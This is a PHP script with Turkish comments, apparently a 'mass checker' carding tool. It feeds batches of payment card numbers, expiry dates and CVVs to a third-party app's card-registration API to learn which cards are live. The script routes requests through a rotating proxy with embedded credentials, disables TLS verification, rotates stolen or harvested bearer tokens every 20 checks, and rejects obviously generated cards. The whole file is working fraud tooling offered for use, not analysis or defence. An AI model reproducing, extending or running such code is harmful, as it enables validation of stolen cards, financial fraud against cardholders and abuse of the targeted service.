<?php
// 1TL Auth MASS Checker API
// Real-time SSE ile sonuç güncelleme

error_reporting(0);
set_time_limit(120); // 2 dakika timeout

// SSE Headers
header('Content-Type: text/event-stream');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // Nginx buffering devre dışı

// Flush fonksiyonu
function send_sse($data) {
    echo "data: " . json_encode($data, JSON_UNESCAPED_UNICODE) . "\n\n";
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// BotBot API ayarları
$BASE_URL = "https://api.botbot.com.tr/api/v1";
$HEADERS_BASE = array(
    "accept: application/json, text/plain, */*",
    "Accept-Encoding: gzip",
    "Connection: Keep-Alive",
    "Content-Type: application/json",
    "Host: api.botbot.com.tr",
    "source: VoltBot",
    "User-Agent: okhttp/4.9.2"
);

function send_request($url, $method = 'GET', $data = null, $headers = null) {
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 6);
    
    // Proxy ayarları
    curl_setopt($ch, CURLOPT_PROXY, 'rp.scrapegw.com:6060');
    curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'ccb7t99f1xa6q6v:e88zmabjie6wuek');
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
    
    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        if ($data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        }
    }
    
    if ($headers) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return array(
        'status_code' => $httpCode,
        'response' => $response,
        'json' => json_decode($response, true)
    );
}

function read_token_from_file() {
    $token_file = __DIR__ . '/masstoken.txt';
    if (file_exists($token_file)) {
        $lines = file($token_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        
        foreach ($lines as $line) {
            if (strpos($line, '|') !== false) {
                $parts = explode('|', $line);
                if (count($parts) >= 3) {
                    $token = trim(explode(':', $parts[2])[1]);
                    return $token;
                }
            }
        }
    }
    
    return null;
}

function add_card($token, $card_number, $expire_month, $expire_year, $cvv) {
    global $BASE_URL, $HEADERS_BASE;
    
    $url = $BASE_URL . "/cards";
    $headers = array_merge($HEADERS_BASE, array("authorization: Bearer " . $token));
    
    $payload = array(
        "cardName" => "efe ef",
        "cardNumber" => $card_number,
        "cvv" => $cvv,
        "expireMonth" => $expire_month,
        "expireYear" => $expire_year
    );
    
    $response = send_request($url, 'POST', $payload, $headers);
    return $response;
}

function get_counter() {
    $counter_file = __DIR__ . '/counter.txt';
    if (file_exists($counter_file)) {
        return (int)file_get_contents($counter_file);
    }
    return 0;
}

function increment_counter() {
    $counter_file = __DIR__ . '/counter.txt';
    $counter = get_counter();
    $counter++;
    file_put_contents($counter_file, $counter);
    return $counter;
}

function renew_token_if_needed() {
    $counter = get_counter();
    
    if ($counter >= 20) {
        // Token yenile (sessizce) - 20 check sonrası yenileme
        @file_get_contents('http://localhost/yenicheckbotaerithia/apiler/auth1/voltmass.php');
        sleep(3); // Token yenilenirken bekle
        reset_counter();
    }
}

function reset_counter() {
    $counter_file = __DIR__ . '/counter.txt';
    file_put_contents($counter_file, '0');
}

// Kartları al
$cards_param = isset($_GET['cards']) ? $_GET['cards'] : '';
$cards_raw = explode("\n", trim($cards_param));

// Boş satırları temizle ve maksimum 10 kart
$cards = [];
foreach ($cards_raw as $card) {
    $card = trim($card);
    if (!empty($card)) {
        $cards[] = $card;
    }
    if (count($cards) >= 10) {
        break;
    }
}

$total = count($cards);

if ($total == 0) {
    send_sse([
        'type' => 'error',
        'message' => 'Kart bilgisi bulunamadı'
    ]);
    exit;
}

// İlk token kontrolü - Eğer token yoksa yenile
$token = read_token_from_file();
if (!$token) {
    @file_get_contents('http://localhost/yenicheckbotaerithia/apiler/auth1/voltmass.php');
    sleep(2);
    $token = read_token_from_file();
}

if (!$token) {
    send_sse([
        'type' => 'error',
        'message' => 'Token alınamadı'
    ]);
    exit;
}

$results = [];

// Her kartı işle
foreach ($cards as $index => $card_line) {
    $num = $index + 1;
    
    // Counter kontrolü - Her 50 check'te token yenile
    renew_token_if_needed();
    
    // Kart bilgilerini parse et
    $kart_parts = explode('|', $card_line);
    
    if (count($kart_parts) != 4) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'message' => 'Kart formatı hatalı'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    $card_input = str_replace(' ', '', $kart_parts[0]);
    $month_input = $kart_parts[1];
    $year_input = $kart_parts[2];
    // Yıl formatını düzenle (4 haneli ise son 2 hanesini al)
    if (strlen($year_input) == 4) {
        $year_input = substr($year_input, -2);
    }
    $cvv_input = $kart_parts[3];
    
    // CVV kontrolü - 000 ise GEN YASAK
    if ($cvv_input === '000') {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'message' => 'GEN YASAK'
        ];
        
        // Progress gönder
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Kart formatını kontrol et
    if (strlen($card_input) != 16) {
        $results[] = [
            'number' => $num,
            'card' => $card_line,
            'message' => 'Kart numarası 16 haneli olmalı'
        ];
        
        send_sse([
            'type' => 'progress',
            'current' => $num,
            'total' => $total,
            'results' => $results
        ]);
        
        continue;
    }
    
    // Token'ı yeniden oku (token yenilenmiş olabilir)
    $token = read_token_from_file();
    
    // API'ye istek gönder
    $result = add_card($token, $card_input, $month_input, $year_input, $cvv_input);
    
    // Response parse et
    $message = 'API yanıt vermedi';
    
    if ($result && isset($result['json'])) {
        $api_response = $result['json'];
        
        if (isset($api_response['hasError'])) {
            if ($api_response['hasError'] === false) {
                $message = '✅ Kart Eklendi';
            } else {
                // Hata mesajını kısalt
                $error = $api_response['error'] ?? 'Unknown Error';
                if (strpos($error, 'internet alışverişine açık') !== false || 
                    strpos($error, 'yeterli bakiye') !== false) {
                    $message = 'Kart eklenemedi.';
                } else {
                    $message = $error;
                }
            }
        }
    }
    
    // Counter'ı artır
    increment_counter();
    
    // Sonuç ekle
    $results[] = [
        'number' => $num,
        'card' => $card_line,
        'message' => $message
    ];
    
    // Progress gönder
    send_sse([
        'type' => 'progress',
        'current' => $num,
        'total' => $total,
        'results' => $results
    ]);
}

// Final sonuç
send_sse([
    'type' => 'complete',
    'total' => $total,
    'results' => $results
]);

?>
